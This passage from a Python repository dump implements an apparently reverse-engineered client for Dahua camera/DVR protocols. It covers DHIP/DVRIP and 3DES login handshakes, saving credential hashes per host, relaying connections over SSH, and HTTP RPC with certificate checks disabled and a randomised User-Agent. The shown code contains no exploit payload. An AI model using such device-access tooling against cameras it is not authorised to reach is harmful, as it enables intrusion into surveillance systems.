dh_data to be received # while True: try: # dh_data = self.remote.recv(numb=32, timeout=1) while len(dh_data) != 32: dh_data = b''.join([dh_data, self.remote.recv(numb=1, timeout=0.5)]) # print(len(dh_data)) # Prevent infinite loop if time.time() - start > timeout: log.failure('[p2p] timeout (dh_data != 32)') if self.lock.locked(): self.lock.release() return None # print('end') # if len(dh_data): len_expect = self._p2p_len(dh_data) if not len_expect: log.failure('[p2p] Unknown proto') return None # if len_expect: while True: dh_data = b''.join([dh_data, self.remote.recv(numb=1024, timeout=0.5)]) # print('[p2p] LEN', len(dh_data)) if len(dh_data) == len_expect: break elif len(dh_data) > len_expect: len_expect += self._p2p_len(dh_data[len_expect:]) continue # Prevent infinite loop if time.time() - start > timeout: log.failure('[p2p] timeout (dh_data)') if self.lock.locked(): self.lock.release() return None # break except KeyboardInterrupt: if self.lock.locked(): self.lock.release() raise KeyboardInterrupt except EOFError as e: if self.lock.locked(): self.lock.release() self.remote.close() log.failure('[p2p] {}'.format(repr(e))) raise EOFError if not len(dh_data) and self.lock.locked(): self.lock.release() log.failure("[p2p] Nothing received from remote!") return None while len(dh_data): try: # DHIP if dh_data[4:8] == b'DHIP': p2p_header = dh_data[0:32] len_recved = u32(dh_data[16:20]) dh_data = dh_data[32:] # DVRIP elif dahua_proto(dh_data[0:2]): len_recved = u32(dh_data[4:8]) p2p_header = dh_data[0:32] if p2p_header[24:28] == p32(0x0600f900, endian='big'): self.SessionID = u32(p2p_header[16:20]) self.AuthCode = p2p_header[28:32] self.ErrorCode = p2p_header[8:12] if len(dh_data) == 32: self._debug("RECV", p2p_header) dh_data = dh_data[32:] else: if len_recved == 0: log.failure("[p2p] Unknown packet") print("PROTO: \033[92m[\033[91m{}\033[92m]\033[0m".format(binascii.b2a_hex(dh_data[0:4]))) print(hexdump(dh_data)) if self.lock.locked(): self.lock.release() return None p2p_recved = dh_data[0:len_recved] if len_recved: self._debug("RECV", p2p_header + p2p_recved) try: tmp = json.loads(p2p_recved) if tmp.get('callback'): self.client_notify(json.dumps(tmp)) p2p_recved = b'' except (ValueError, AttributeError): pass else: self._debug("RECV", p2p_header) if len(p2p_recved): p2p_query_return.append(p2p_recved.decode('latin-1')) dh_data = dh_data[len_recved:] except Exception as e: print('[p2p] while len(dh_data)', repr(e)) print(dh_data) return None """ We do expect data, get more data if we are about to return empty and more data is available, most probably been callback data previously """ return_data = ''.join(map(str, p2p_query_return)) if not len(return_data) and self.custom_can_recv(0.100): """ We need to go back w/o unlocking/locking """ return_data = self.p2p(recv=True, lock=False) if self.lock.locked(): self.lock.release() return return_data # # DHIP Login function # def dahua_dhip_login(self, username=None, password=None, logon=None, force=False): login = log.progress(color('Login', YELLOW)) pwd_manager = PwdManager() self.header = self.proto_header() query_args = { "method": "global.login", "params": { }, } params = pwd_manager.dhip( rhost=self.rhost, query_args=query_args, username=username, password=password, login=login, logon=logon, force=force ) if not params: return False if self.ssl: params.update({"Encryption": "SSL"}) """ if self.args.logon == 'local': query_args.update({"id": 1111111}) query_args.update({"session": 2222222}) """ query_args.get('params').update(params) dh_data = self.send_call(query_args, errorcodes=True, login=True) if not dh_data: login.failure("global.login [random]") return False if dh_data.get('result'): login.success(color('Success', GREEN)) self.SessionID = dh_data.get('session') dh_realm = None if self.args.save: pwd_manager.save_host( rhost=self.rhost, rport=self.rport, proto=self.proto, username=username, password=password, dh_realm=dh_realm, relay=self.args.relay, events=self.events, logon=logon ) return False if not self.args.dump: keep_alive = dh_data.get('params').get('keepAliveInterval') _thread.start_new_thread(self._p2p_keepalive, (keep_alive,)) return True if dh_data.get('error').get('code') not in [268632079, 401]: # Login Challenge login.failure("global.login {}".format(dh_data.get('error'))) return False self.SessionID = dh_data.get('session') dh_realm = dh_data.get('params').get('realm') if logon == 'onvif:digest': realm = log.progress(color('Onvif REALM', YELLOW)) realm.status('requesting') """ We need to get correct REALM, as it differs for newer devices """ rtsp = 'OPTIONS rtsp://{host}:{port}?proto=Onvif RTSP/1.1\r\nCSeq: 1\r\n\r\n'.format( host=self.rhost, port=self.rport) req = remote(self.rhost, self.rport) req.send(rtsp) rtsp = req.recv(1024) req.close() dh_realm = rtsp[rtsp.find(b'Login to'):rtsp.rfind(b'", nonce=')].decode('latin-1') if self.debugCalls: log.info('DHIP REALM: {}'.format(dh_data.get('params').get('realm'))) log.info('RTSP REALM: {}'.format(dh_realm)) dh_data.get('params').update({'realm': dh_realm}) realm.success(color(dh_realm, GREEN)) query_args = { "method": "global.login", "params": { }, } params = pwd_manager.dhip( rhost=self.rhost, query_args=dh_data, username=username, password=password, login=login, logon=logon, force=self.args.force ) if not params: login.failure(color("[dahua.py: pwd_manager.dhip] Failed", RED)) return False if self.ssl: params.update({"Encryption": "SSL"}) query_args.get('params').update(params) dh_data = self.send_call(query_args, errorcodes=True, login=True) if not dh_data: return False # Device not initialised if dh_data.get('error') and dh_data.get('error').get('code') == 268632086: login.failure(color('Device not initialised! ({})'.format(dh_data.get('params')), RED)) return False # Device locked elif dh_data.get('error') and dh_data.get('error').get('code') == 268632081: login.failure(color('Device locked! ({})'.format(dh_data.get('params')), RED)) return False elif not dh_data.get('result'): login.failure(color('global.login: {}'.format(dh_data.get('error')), RED)) return False login.success(color('Success', GREEN)) if self.args.save: pwd_manager.save_host( rhost=self.rhost, rport=self.rport, proto=self.proto, username=username, password=password, dh_realm=dh_realm, relay=self.args.relay, events=self.events, logon=logon ) return False if not self.args.dump: if dh_data.get('params'): keep_alive = dh_data.get('params').get('keepAliveInterval') else: keep_alive = 30 _thread.start_new_thread(self._p2p_keepalive, (keep_alive,)) return True # # 3DES/DVRIP Login function # def dahua_dvrip_login(self, username=None, password=None, logon=None): login = log.progress(color('Login', YELLOW)) dh_data = '' dh_realm = None pwd_manager = PwdManager() if self.proto == '3des': dh_data = pwd_manager.dvrip( rhost=self.rhost, username=username, password=password, proto=self.proto, login=login ) if not dh_data: return None if logon == 'old_3des': """ all characters above 8 will be stripped """ self.header = \ p32(0xa0050060, endian='big') + p32(0x0) + dh_data.get('username') + \ dh_data.get('password') + p64(0x040200010000a1aa, endian='big') else: """ all characters above 8 will be stripped """ self.header = \ p32(0xa0000000, endian='big') + p32(0x0) + dh_data.get('username') + \ dh_data.get('password') + p64(0x050200010000a1aa, endian='big') try: dh_data = self.p2p(None) except EOFError: return False # if not dh_data: # return None elif self.proto == 'dvrip': # # REALM & RANDOM Request # self.header = p32(0xa0010000, endian='big') + (p8(0x00) * 20) + p64(0x050201010000a1aa, endian='big') try: dh_data = self.p2p(None) except EOFError: return False if not dh_data or not len(dh_data): login.failure("Realm") return None dh_realm = dh_data[dh_data.find('Login to'):dh_data.find('\r\n')] dh_random = dh_data[dh_data.rfind(':') + 1:dh_data.rfind('\r\n') - 2] dh_data = pwd_manager.dvrip( rhost=self.rhost, username=username, password=password, proto=self.proto, query_args={ "realm": dh_realm, "random": dh_random }) if not dh_data: return None self.header = \ p32(0xa0050000, endian='big') + p32(len(dh_data.get('hash'))) + \ (p8(0x00) * 16) + p64(0x050200080000a1aa, endian='big') # Don't expect any data here, just check for p2p failure dh_data = self.p2p(dh_data.get('hash').encode('latin-1')) if dh_data is None: return None if self.ErrorCode[:2] == b'\x00\x08': login.success(color('Success', GREEN)) elif self.ErrorCode[:2] == b'\x01\x00': login.failure('Authentication failed: {} tries left {}'.format( u16(self.AuthCode[0:2], endian='big'), '(BUG: SessionID = {})'.format(self.SessionID) if self.SessionID else '') ) return False elif self.ErrorCode[:2] == b'\x01\x01': login.failure('Username invalid') return False elif self.ErrorCode[:2] == b'\x01\x04': login.failure('Account locked: {}'.format(dh_data)) return False elif self.ErrorCode[:2] == b'\x01\x05': login.failure('Undefined code: 0x01 0x05') return False elif self.ErrorCode[:2] == b'\x01\x11': login.failure('Device not initialised') return False elif self.ErrorCode[:2] == b'\x01\x13': login.failure('Not implemented') return False elif self.ErrorCode[:2] == b'\x03\x03': login.failure('User already logged in') return False else: login.failure(color('Unknown ErrorCode: {}'.format(self.ErrorCode[:2]), RED)) return False if self.args.save and not self.proto == '3des': pwd_manager.save_host( rhost=self.rhost, rport=self.rport, proto=self.proto, username=username, password=password, dh_realm=dh_realm, relay=self.args.relay, events=self.events, logon=logon ) return False if not self.args.dump: """ Seems to be stable """ keep_alive = 30 _thread.start_new_thread(self._p2p_keepalive, (keep_alive,)) self.header = self.proto_header() return True def proto_header(self): if self.proto == 'dhip': return p64(0x2000000044484950, endian='big') + '_SessionHexID__ID__LEN_'.encode('latin-1') + \ p32(0x0) + '_LEN_'.encode('latin-1') + p32(0x0) else: # DVRIP return p32(0xf6000000, endian='big') + '_LEN__ID_'.encode('latin-1') + p32(0x0) + \ '_LEN_'.encode('latin-1') + p32(0x0) + '_SessionHexID_'.encode('latin-1') + p32(0x0) def subscribe_notify(self, status=False): """Only used with http/https proto""" if status: if self.proto in ['http', 'https']: self.recv_stream_status.wait(0.200) return True self.remote.open_stream(self.SessionID) while True: self.recv_stream_status.clear() event_data = self.remote.recv_stream() self._debug("RECV ({})".format(len(event_data)), event_data) if not event_data: log.failure('[subscribe_notify] == 0') # self.event.set() return False for NUM in range(0, len(event_data)): self.client_notify(json.dumps(event_data[NUM])) ================================================ FILE: pwdmanager.py ================================================ from utils import * from dahua_logon_modes import dahua_logon, dahua_gen1_hash, dahua_gen2_md5_hash, dahua_onvif_sha1_hash class PwdManager(object): """ Dahua HASH / pwd Manager functions """ def __init__(self): super(PwdManager, self).__init__() def dvrip(self, rhost=None, username=None, password=None, proto=None, query_args=None, login=None): saved_host = None if not password: if proto == '3des': login.failure(color('3DES: You need to use --auth :', RED)) return False saved_host = self.get_host(rhost) if not saved_host: login.failure(color('You need to use --auth : [--save]', RED)) return False if proto == '3des': params = dahua_logon( logon=proto, username=username, password=password) return params elif proto == 'dvrip': if not query_args.get('random'): login.failure(color('Realm [random]', RED)) return None if not password: saved_host = self.get_host(rhost, query_args.get('realm')) if not saved_host: login.failure(color('You need to use --auth : [--save]', RED)) return None username = saved_host.get('username') params = dahua_logon( logon=proto, query_args=query_args, username=username, password=password, saved_host=saved_host) return params else: login.failure(color('Invalid "proto"!', RED)) return None def dhip(self, rhost=None, query_args=None, username=None, password=None, login=None, logon=None, force=False): saved_host = None if not password: saved_host = self.get_host(rhost) if not saved_host: login.failure(color('You need to use --auth : [--save]', RED)) return False username = saved_host.get('username') password = None if query_args.get('method') == 'global.login': if logon == 'wsse': if not force: log.warning(f'[{logon}] Can only be used once per boot!') log.warning("If you still want to try, run this script with --force") return False params = dahua_logon(init=True, username=username, logon=logon) return params elif query_args.get('error').get('code') in [268632079, 401]: # DHIP REALM if not password: # We just checking RandSalt from REALM here dh_data = self.get_host(rhost, query_args.get('params').get('realm')) if not dh_data: login.failure(color('You need to use --auth : [--save]', RED)) return False """ if not (encryption == 'Default' or encryption == 'OldDigest'): login.failure( color('Encryption: "{}", You need to use --auth :'.format(encryption), RED)) return False """ params = dahua_logon( logon=logon, query_args=query_args, username=username, password=password, saved_host=saved_host) return params @staticmethod def read_hosts(): try: with open('dhConsole.json') as fd: return json.load(fd) except IOError as e: log.failure(color('[read_hosts] {}'.format(str(e)), RED)) return None @staticmethod def write_hosts(dh_data): try: with open('dhConsole.json', 'w') as fd: json.dump(dh_data, fd) os.chmod('dhConsole.json', stat.S_IRUSR | stat.S_IWUSR) log.success(color('Host saved successfully', GREEN)) return True except Exception as e: log.failure(color('[write_hosts] {}'.format(repr(e)), RED)) return None def get_relay(self, rhost=None): dh_data = self.find_host(rhost) if not dh_data: return False return dh_data.get('relay') def save_host(self, rhost, rport, proto, username, password, dh_realm, relay, events, logon): # TODO: save some logon host = None dh_data = self.read_hosts() if not dh_data: dh_data = [] if not self.find_host(rhost): log.info(f'Adding new host "{rhost}"') dh_data.append({ "host": rhost, "port": rport, "proto": proto, "username": username, "password": { "gen1": dahua_gen1_hash(password), "gen2": dahua_gen2_md5_hash( dh_realm=dh_realm, username=username, password=password, return_hash=True), "RandSalt": dh_realm.split()[2], "onvif": dahua_onvif_sha1_hash(password=password) if logon == 'onvif:onvif' else None }, "events": events, "relay": relay, "logon": logon }) else: log.info(f'Updating host "{rhost}"') for host in range(0, len(dh_data)): if rhost == dh_data[host].get('host'): break dh_data[host].update({ "host": rhost, "port": rport, "proto": proto, "username": dh_data[host].get('username') if not username else username, "password": { "gen1": dh_data[host].get('password').get('gen1') if not password else dahua_gen1_hash(password), "gen2": dh_data[host].get('password').get('gen2') if not password else dahua_gen2_md5_hash( dh_realm=dh_realm, username=username, password=password, return_hash=True), "RandSalt": dh_realm.split()[2], "onvif": dahua_onvif_sha1_hash(password=password) if logon == 'onvif:onvif' else None }, "events": events, "relay": relay, "logon": logon }) if not self.write_hosts(dh_data): return False return True def get_host(self, host=None, dh_realm=None): dh_data = self.find_host(host) if dh_data is None: log.failure(f'Host "{host}" do not exist') return None elif not dh_data: return False if dh_realm: rand_salt = dh_realm.split()[2] if not dh_data.get('password').get('RandSalt') == rand_salt: log.failure(color('RandSalt differs, current hash does not work anymore!', LRED)) return False return dh_data def find_host(self, host=None): dh_data = self.read_hosts() if not dh_data: return False if not host: return dh_data for hosts in range(0, len(dh_data)): if host == dh_data[hosts].get('host'): return dh_data[hosts] return None ================================================ FILE: relay.py ================================================ import requests from requests import packages from requests.packages import urllib3 from requests.packages.urllib3 import exceptions from pathlib import Path from utils import * def custom_checksec(host, port, message): """ Some embedded devices with 'psh' will hang after checksec() """ cache_dir = ''.join(tempfile.gettempdir() + '/pwntools-ssh-cache') Path(cache_dir).mkdir(parents=True, exist_ok=True) fpath = ''.join(cache_dir + '/{}-{}'.format(host, port)) with open(fpath, 'w+') as f: f.write(message) def init_relay(relay=None, rhost=None, rport=None, discover=False): """ Relay via SSH """ dh_remote = None # import paramiko # paramiko ssh debugging # logging.basicConfig(stream=sys.stdout, level=logging.DEBUG) # logging.basicConfig(stream=sys.stdout) try: proto = relay[0:relay.index('://')] tmp = relay[len(proto)+3:].split('@') relay_username = tmp[0].split(':')[0] relay_password = tmp[0].split(':')[1] relay_rhost = tmp[1].split(':')[0] relay_rport = tmp[1].split(':')[1] """ Check if RPORT is valid """ if not check_port(relay_rport): log.failure("Invalid relay port - Choose between 1 and 65535") return False """ Check if RHOST is valid IP or FQDN, get IP back """ if not check_host(relay_rhost): log.failure("Invalid relay host") return False except (ValueError, IndexError): log.failure('relay usage: ://:@:') return False if proto == 'ssh': message = '(null)' custom_checksec(host=relay_rhost, port=relay_rport, message=message) try: dh_relay = ssh( user=relay_username, password=relay_password, host=relay_rhost, port=int(relay_rport), timeout=60, cache=False ) # return relay except Exception as e: print('[init_relay] ssh: {}'.format(repr(e))) return False if not discover: try: dh_remote = dh_relay.connect_remote(rhost, rport) except AttributeError: dh_relay.close() return False except Exception as e: print('[init_relay] remote: ', repr(e)) dh_relay.close() return False """ print(relay.transport.remote_version) print(relay.transport.local_version) print(relay.transport.remote_mac) print(relay.transport.local_mac) print(relay.transport.remote_cipher) print(relay.transport.get_security_options()) """ return { "dh_relay": dh_relay, "dh_remote": dh_remote } else: log.failure('"{}" relay proto not implemented'.format(proto)) return False class DahuaHttp(object): def __del__(self): log.info('DahuaHttp DELETE') """ Dahua http """ # TODO # Get HTTP/HTTPS working with SSH relay def __init__(self, rhost, rport, proto, timeout=60): super(DahuaHttp, self).__init__() self.rhost = rhost self.rport = rport self.proto = proto self.timeout = timeout self.remote = None self.uri = None self.stream = None """ Most devices will use self-signed certificates, suppress any warnings """ requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) self.remote = requests.Session() """Used with _debug""" self.headers = self.remote.headers self.cookies = self.remote.cookies self._init_uri() import random as random_agent random_agent.seed(1) self.remote.headers.update({ 'User-Agent': useragents.random(), 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'en-US,en;q=0.9', 'Host': '{}:{}'.format(self.rhost, self.rport), }) # TODO """To use '--relay' option""" """ self.remote.proxies.update({ # 'http': 'http://127.0.0.1:8080', }) """ def send(self, url=None, query_args=None, login=False, timeout=5): """JSON API communication""" if query_args: if query_args.get('params') is not None and not len(query_args.get('params')): query_args.update({'params': None}) """This weird code will try automatically switch between http/https and update Host """ try: if url and not query_args: return self.get(url, timeout) else: dh_data = self.post(self._get_url(login, url), query_args, timeout) except requests.exceptions.ConnectionError: self.proto = 'https' if self.proto == 'http' else 'https' self._init_uri() try: if url and not query_args: return self.get(url, timeout) else: dh_data = self.post(self._get_url(login, url), query_args, timeout) except requests.exceptions.ConnectionError as e: if login: return self._error(dh_error=e) return None except requests.exceptions.RequestException as e: if login: return self._error(dh_error=e) return None except KeyboardInterrupt: return None """302 when requesting http on https enabled device""" if dh_data.status_code == 302: redirect = dh_data.headers.get('Location') self.uri = redirect[:redirect.rfind('/')] self._update_host() if url and not query_args: return self.get(url, timeout) else: dh_data = self.post(self._get_url(login, url), query_args, timeout) """Catch non dahua hosts""" if not dh_data.status_code == 200: return self._error(dh_error=dh_data.text, code=dh_data.status_code) """JSON API communication""" dh_json = dh_data.json() """Set SessionID Cookie during login""" if login and self.remote.cookies.get('DWebClientSessionID') is None: self.remote.cookies.set('username', query_args.get('params').get('userName')) self.remote.cookies.set('DWebClientSessionID', str(dh_json.get('session'))) return dh_data @staticmethod def _get_url(login, url): if login: return '/RPC2_Login' elif url: """GET or other POST JSON API communication""" return url """Default JSON API communication""" return '/RPC2' def _update_host(self): if not self.remote.headers.get('Host') == self.uri[self.uri.rfind('://') + 3:]: self.remote.headers.update({ 'Host': self.uri[self.uri.rfind('://') + 3:], }) def _init_uri(self): self.uri = '{proto}://{rhost}:{rport}'.format(proto=self.proto, rhost=self.rhost, rport=str(self.rport)) @staticmethod def _error(dh_error=None, code=500): """Keep 'login' happy and give some info back in case of failure""" return json.dumps({'result': False, 'error': {'code': code, 'message': str(dh_error)}}) def options(self): timeout = 10 req = requests.Request('OPTIONS', 'rtsp://{host}:{port}?proto=Onvif RTSP/1.1\r\nCSeq: 1\r\n\r\n'.format( host='192.168.5.27', port=80)) print(req.prepare()) print(req.url) dh_data = self.remote.send(req.url, verify=False, allow_redirects=False, timeout=timeout) print(dh_data) def post(self, url, query_args, timeout): """JSON API Communication""" return self.remote.post(self.uri + url, json=query_args, verify=False, allow_redirects=False, timeout=timeout) def get(self, url, timeout): """Non JSON Communication""" return self.remote.get(self.uri + url, verify=False, allow_redirects=False, timeout=timeout) def open_stream(self, session_id): """Open stream session for events and other 'client.Notify'""" self.stream = self.remote.get( '{}/SubscribeNotify.cgi?sessionId={}'.format(self.uri, session_id), verify=False, allow_redirects=False, stream=True ) def recv_stream(self): """Return events and other 'client.Notify'""" return fix_json(self.stream.raw.readline().decode('utf-8')) @staticmethod def can_recv(): """We do not expect unexpected data the 'stream' above will handle that""" return False @staticmethod def connected(): # TODO: Assume connected, should find a way to check return True def close(self): # TODO: Not really sure if this way self.remote.close() return True ================================================ FILE: requirements.txt ================================================ pwntools>=4.3.1 ndjson>=0.3.1 pycryptodome>=3.9.7 tzlocal>=2.1 pyOpenSSL>=19.1.0 requests>=2.20.0 pwn~=1.0 ================================================ FILE: servers.py ================================================ import select import queue import _thread from utils import * from events import DahuaEvents class Servers(DahuaEvents): def __init__(self): super(Servers, self).__init__() # # Will terminate and restart instances in case of some failure # def terminate_daemons(self): time.sleep(1) if not self.udp_server: return False status = log.progress(color('Terminate Daemons thread', YELLOW)) status.success(color('Started', GREEN)) daemon = False while True: session = None instance = None host = None time.sleep(10) for session in self.dhConsole: instance = self.dhConsole.get(session).get('instance') if instance.terminate: # and not instance.remote.connected(): host = self.dhConsole.get(session).get('host') daemon = True break try: if daemon: self.dhConsole.pop(session) if self.dh == instance: for session in self.dhConsole: self.dh = self.dhConsole.get(session).get('instance') break del instance daemon = False _thread.start_new_thread(self.restart_connection, (host,)) if not len(self.dhConsole): log.failure('Terminate Daemons: No other active sessions') return False except (Exception, PwnlibException) as e: status.failure('{}'.format(repr(e))) return False # # Will handle all incoming event traffic on UDP, accepting connections from TCP to relay event traffic # - The receiving UDP socket is literally connected to sending TCP socket # - Will also send to internal event handler, to catch some events # - Since it's unsorted JSON from multiple instances, the JSON needs to be fixed with 'fix_json()' # # Good info # https://steelkiwi.com/blog/working-tcp-sockets/ def event_in_out_server(self): status = log.progress(color('UDP/TCP events server listener thread', YELLOW)) try: self.tcp_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.tcp_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.tcp_server.setblocking(False) self.tcp_server.bind(('127.0.0.1', EventOutServerPort)) self.tcp_server.listen(10) self.udp_server = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM) self.udp_server.bind(('127.0.0.1', EventInServerPort)) except OSError as e: self.udp_server = False self.tcp_server = False status.failure(color("{}".format(e), RED)) return False inputs = [self.tcp_server, self.udp_server] outputs = [] message_queues = {} try: status.success(color("Started", GREEN)) while True: readable, writable, exceptional = select.select( inputs, outputs, inputs) for s in readable: if s is self.tcp_server: connection, client_address = s.accept() # log.info('Connection: {}'.format(client_address)) connection.setblocking(0) inputs.append(connection) message_queues[connection] = queue.Queue() else: if s is not self.udp_server: dh_data = s.recv(1024) if s not in outputs: outputs.append(s) if not dh_data: if s in outputs: outputs.remove(s) inputs.remove(s) s.close() del message_queues[s] else: dh_data, address = self.udp_server.recvfrom(8192) # log.info('Incoming data from: {}'.format(address)) if len(dh_data) == 8192: log.warning('EventInOutServer: LEN == 8192') print(dh_data) if dh_data: self.internal_event_manager(dh_data.decode('latin-1')) for tmp in message_queues: message_queues[tmp].put(dh_data) if tmp not in outputs: outputs.append(tmp) for s in writable: try: next_msg = message_queues[s].get_nowait() except queue.Empty: outputs.remove(s) else: s.send(next_msg) for s in exceptional: if s in inputs: inputs.remove(s) if s in outputs: outputs.remove(s) s.close() del message_queues[s] except Exception as e: status.failure('{}'.format(repr(e))) return False ================================================ FILE: utils.py ================================================ import json from json.decoder import JSONDecodeError from pwn import * """Just to keep out error warnings in PyCharm""" global p8, p16, p32, p64, u8, u16, u32, u64 # Colours RED = '\033[31m' GREEN = '\033[32m' YELLOW = '\033[33m' BLUE = '\033[34m' WHITE = '\033[37m' LRED = '\033[91m' LGREEN = '\033[92m' LYELLOW = '\033[93m' LBLUE = '\033[94m' LWHITE = '\033[97m' EventInServerPort = 43210 # UDP listener port, receiving events EventOutServerPort = 43211 # TCP listener port, delivery of events def color(dtext, dcolor): return "{}{}\033[0m".format(dcolor, dtext) def fix_json(mess): """ JSON data we will receive from events is an mess, need to sort out that before loading JSON to a list input: unsorted JSON return: sorted JSON in a list """ dh_data = [] start = 0 result = '' for check in range(0, len(mess)): if mess[check] == '{': result += mess[check] start += 1 elif start: result += mess[check] if mess[check] == '}': start -= 1 if not start: try: if len(result): dh_data.append(json.loads(result)) except JSONDecodeError: pass result = '' if start: log.warning('fix_json: not complete') return dh_data def help_msg(dh_data): """ print help function """ return '\033[92m[\033[91m{}\033[92m]\033[0m\n'.format(dh_data) def help_all(msg, usage): """ Examples: usage = { "key0":"(value 0)", "key1":"(value 1)", "key2":"(value 2)", "key3":"(value 3)" } usage = { "key0":"(value 0)", "key1":{ "subkey0":"(value 0)", "subkey1":"(value 1)" }, "key2":"(value 2)", "key3":"(value 3)" } usage = { "key0":{ "subkey0":"(value 0)", "subkey1":"(value 1)", "subkey2":"(value 2)" }, "key1":{ "subkey0":"(value 0)", "subkey1":"(value 1)" } } One same line for all usage() log.info('{}'.format(help_all(msg=msg,usage=usage))) return True """ if msg.find('-h'): msg = msg.strip('-h') cmd = msg.split() try: dh_data = '{}'.format(help_msg('usage')) for key in usage if not len(cmd) > 1 else usage.get(cmd[1]) if isinstance(usage.get(cmd[1]), dict) else {cmd[1]}: if isinstance(usage.get(key), dict): for subkey in usage.get(key): dh_data += '{} {} {} {}\n'.format(cmd[0], key, subkey, usage.get(key).get(subkey, '(1 Not defined)')) elif isinstance(usage.get(key) if not len(cmd) > 1 else key, str): dh_data += '{} {} {}\n'.format( cmd[0], '{} {}'.format(cmd[1], key) if len(cmd) > 1 else key, usage.get( key, '(Not defined: {})'.format(key) ) if len(cmd) == 1 else usage.get( cmd[1]).get(key, '(Not defined: {})'.format(key)) ) else: print('[else]') print(type(key), key) return dh_data except AttributeError as e: print('[help_all]', repr(e)) def check_ip(ip_addr): """ Check if IP is valid """ try: ip = ip_addr.split('.') if len(ip) != 4: return False for tmp in ip: if not tmp.isdigit(): return False i = int(tmp) if i < 0 or i > 255: return False return True except ValueError: return False def check_port(port): """ Check if PORT is valid """ try: if not isinstance(port, int): port = int(port) if int(port) < 1 or int(port) > 65535: return False else: return True except ValueError: return False def check_host(addr): """ Check if HOST is valid """ try: """ Will generate exception if we try with FQDN or invalid IP """ socket.inet_aton(addr) return addr except socket.error: """ Else check valid FQDN, and return the IP """ try: return socket.gethostbyname(addr) except socket.error: return False def binary_ip(host, endian="big"): """ Modified pwntools function from 'misc.py' big: 127.0.0.1 => b'\\x7f\\x00\\x00\\x01' little: 127.0.0.1 => b'\\x01\\x00\\x00\\x7f' """ try: """ Swap endianness if desired """ return p32(u32(socket.inet_aton(socket.gethostbyname(host)), endian="big" if endian == "little" else "little")) except (Exception, KeyboardInterrupt, SystemExit) as e: return repr(e) def unbinary_ip(host, endian="big"): """ big: b'\\x7f\\x00\\x00\\x01' => 127.0.0.1 little: b'\\x01\\x00\\x00\\x7f' => 127.0.0.1 """ try: # Swap endianness if desired host = p32(u32(host, endian="big" if endian == "little" else "little")) return '.'.join(str(x) for x in [u8(host[i:i+1]) for i in range(0, len(host), 1)]) except (Exception, KeyboardInterrupt, SystemExit) as e: return repr(e)